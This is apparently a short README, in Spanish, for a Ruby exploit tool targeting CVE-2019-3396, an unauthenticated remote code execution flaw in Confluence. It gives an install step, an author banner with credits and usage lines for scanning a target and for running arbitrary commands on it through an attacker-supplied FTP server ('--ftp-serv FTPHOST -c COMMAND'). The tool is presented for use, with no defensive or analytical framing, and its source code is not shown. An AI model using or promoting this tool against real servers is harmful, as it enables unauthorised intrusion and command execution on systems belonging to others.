0xninjacyclone/cve-2019-3396# Exploit en Ruby para CVE-2019-3396 Exploit en Ruby para CVE-2019-3396 que permite ejecución remota de código no autenticada en Confluence, incluyendo escaneo de objetivos y ejecución de comandos a través de un servidor FTP.
bundle install
┌──(user㉿hostname)-[~/path/to/cve-2019-3396]
└─$ ruby cve-2019-3396.rb
exploit -> CVE-2019-3396
Autor -> Abdallah Mohamed Elsharif
Saludos a Ghost5egy, Hamza Abdulrahman, Omar y Alaa
Uso:
ruby cve-2019-3396.rb [opciones] O --help
ruby cve-2019-3396.rb -t TARGET --scan
ruby cve-2019-3396.rb -t TARGET --ftp-serv FTPHOST -c COMMAND